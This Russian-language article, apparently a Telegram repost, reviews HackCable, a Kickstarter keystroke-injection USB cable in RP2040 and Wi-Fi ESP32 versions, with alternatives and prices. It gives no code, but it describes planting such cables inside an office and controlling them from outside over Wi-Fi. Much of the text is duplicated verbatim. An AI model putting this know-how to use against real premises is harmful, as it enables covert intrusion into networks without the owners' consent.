HackCable на базе RP2040 работает автономно и не зависит от внешних подключений. Сначала пользователь загружает на кабель подготовленные скрипты через компьютер. Скрипты могут быть на Python или на другом подходящем языке. Эти скрипты описывают последовательность команд, которые кабель будет вводить при подключении к целевому устройству.
Когда кабель вставляют в порт USB-C, устройство распознаёт его как клавиатуру и позволяет скриптам «нажимать» кнопки напрямую, не вызывая подозрений у системы или антивирусов. HackCable последовательно выполняет заданные действия: например, открывает терминал, вводит команды для проверки сетевых настроек или демонстрирует потенциальные уязвимости системы.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1🤯1
Благодаря встроенному чипу RP2040 кабель действует как автономный пентест‑агент: он не требует Wi-Fi, не зависит от сторонних приложений и всегда выполняет ровно тот сценарий, который был загружен заранее. Такой подход делает устройство надежным и предсказуемым — оно просто выполняет свою программу сразу после подключения, без необходимости какого‑либо вмешательства.
Версия с Wi-Fi на ESP32
Процессор: двухъядерный микроконтроллер Xtensa LX7
Тактовая частота: до 240 МГц
Wi-Fi: встроенный модуль Wi-Fi 2,4 ГГц (802.11b/g/n)
Bluetooth: встроенный Bluetooth 5 (LE) с поддержкой энергоэффективной и надежной передачи данных
Здесь все аналогично версии на RP2040 с той разницей, что есть поддержка Wi-Fi. Модуль ESP32 создает свою точку доступа, можно подключиться к ней с любого устройства — смартфона, планшета или ноутбука — и управлять удаленно через веб‑интерфейс. В интерфейсе достаточно ввести команды или загрузить скрипт, после чего HackCable начнет передавать команды в целевую систему.
Это дает возможность работать на расстоянии. Единожды вставив кабель в устройство, можно подключаться к нему по Wi-Fi в любое время, пока устройство остается включенным. При необходимости можно задействовать несколько таких кабелей, синхронизировав их для одновременной работы через режим мастер — слейв.
То есть если в рамках редтиминга или физического пентеста нам удалось проникнуть на объект, то достаточно воткнуть пару таких проводов тут и там, и всё — считай, закрепились на периметре. Можем сидеть напротив окон офиса на лавочке, попивать из термоса кофеек и шариться по внутренней сети.
Альтернативы
HackCable — не первый проект такого рода. На рынке уже есть несколько проектов и устройств, которые выполняют схожие задачи. Вот некоторые из них.
USB Rubber Ducky (Hak5). Это, пожалуй, самый известный инструмент в области тестирования безопасности. Rubber Ducky маскируется под обычную USB-клавиатуру, но может запускать запрограммированные сценарии атак, например для тестирования уязвимостей в системах.
O.MG Cable (Hak5). Кабель, внешне неотличимый от стандартного USB, но способный перехватывать данные, запускать полезные нагрузки и даже управляться удаленно через Wi-Fi. O.MG Cable стал своего рода эталоном в области аппаратного пентестинга.
ESPKey. Это устройство использует чип ESP8266 для перехвата сигналов от систем контроля доступа. Оно популярно среди исследователей безопасности, работающих с RFID-системами.
WHID Injector (Wi-Fi HID Injector). Гаджет, способный эмулировать клавиатуру и мышь через Wi-Fi. Применяется в аудите безопасности, чтобы проверить устойчивость системы к атакам, когда злоумышленник не имеет физического доступа.
P4wnP1 — альтернативный проект на базе Raspberry Pi Zero, умеющий многие вещи, включая эмуляцию HID-устройств, MITM-атаки и многое другое.
Также атаки BadUSB можно проводить напрямую со смартфона. Как именно — читай в статьях «Киберфон. Превращаем телефон на Android в инструмент хакера» и «Продвинутый киберфон. Заряжаем телефон хакерской силой».
Цены
Версию HackCable с Wi-Fi на Kickstarter можно предзаказать за 59 долларов. Два Wi-Fi-кабеля обойдутся в 115 долларов, а комплект из четырех — в 225 долларов.
Версия на RP2040 стоит 49 долларов по спецпредложению. Два таких кабеля стоят 95 долларов, а четыре — 185 долларов.
Также есть комбинированный набор, который включает один Wi-Fi-кабель и один RP2040, за 90 долларов.
Версия с Wi-Fi на ESP32
Процессор: двухъядерный микроконтроллер Xtensa LX7
Тактовая частота: до 240 МГц
Wi-Fi: встроенный модуль Wi-Fi 2,4 ГГц (802.11b/g/n)
Bluetooth: встроенный Bluetooth 5 (LE) с поддержкой энергоэффективной и надежной передачи данных
Здесь все аналогично версии на RP2040 с той разницей, что есть поддержка Wi-Fi. Модуль ESP32 создает свою точку доступа, можно подключиться к ней с любого устройства — смартфона, планшета или ноутбука — и управлять удаленно через веб‑интерфейс. В интерфейсе достаточно ввести команды или загрузить скрипт, после чего HackCable начнет передавать команды в целевую систему.
Это дает возможность работать на расстоянии. Единожды вставив кабель в устройство, можно подключаться к нему по Wi-Fi в любое время, пока устройство остается включенным. При необходимости можно задействовать несколько таких кабелей, синхронизировав их для одновременной работы через режим мастер — слейв.
То есть если в рамках редтиминга или физического пентеста нам удалось проникнуть на объект, то достаточно воткнуть пару таких проводов тут и там, и всё — считай, закрепились на периметре. Можем сидеть напротив окон офиса на лавочке, попивать из термоса кофеек и шариться по внутренней сети.
Альтернативы
HackCable — не первый проект такого рода. На рынке уже есть несколько проектов и устройств, которые выполняют схожие задачи. Вот некоторые из них.
USB Rubber Ducky (Hak5). Это, пожалуй, самый известный инструмент в области тестирования безопасности. Rubber Ducky маскируется под обычную USB-клавиатуру, но может запускать запрограммированные сценарии атак, например для тестирования уязвимостей в системах.
O.MG Cable (Hak5). Кабель, внешне неотличимый от стандартного USB, но способный перехватывать данные, запускать полезные нагрузки и даже управляться удаленно через Wi-Fi. O.MG Cable стал своего рода эталоном в области аппаратного пентестинга.
ESPKey. Это устройство использует чип ESP8266 для перехвата сигналов от систем контроля доступа. Оно популярно среди исследователей безопасности, работающих с RFID-системами.
WHID Injector (Wi-Fi HID Injector). Гаджет, способный эмулировать клавиатуру и мышь через Wi-Fi. Применяется в аудите безопасности, чтобы проверить устойчивость системы к атакам, когда злоумышленник не имеет физического доступа.
P4wnP1 — альтернативный проект на базе Raspberry Pi Zero, умеющий многие вещи, включая эмуляцию HID-устройств, MITM-атаки и многое другое.
Также атаки BadUSB можно проводить напрямую со смартфона. Как именно — читай в статьях «Киберфон. Превращаем телефон на Android в инструмент хакера» и «Продвинутый киберфон. Заряжаем телефон хакерской силой».
Цены
Версию HackCable с Wi-Fi на Kickstarter можно предзаказать за 59 долларов. Два Wi-Fi-кабеля обойдутся в 115 долларов, а комплект из четырех — в 225 долларов.
Версия на RP2040 стоит 49 долларов по спецпредложению. Два таких кабеля стоят 95 долларов, а четыре — 185 долларов.
Также есть комбинированный набор, который включает один Wi-Fi-кабель и один RP2040, за 90 долларов.
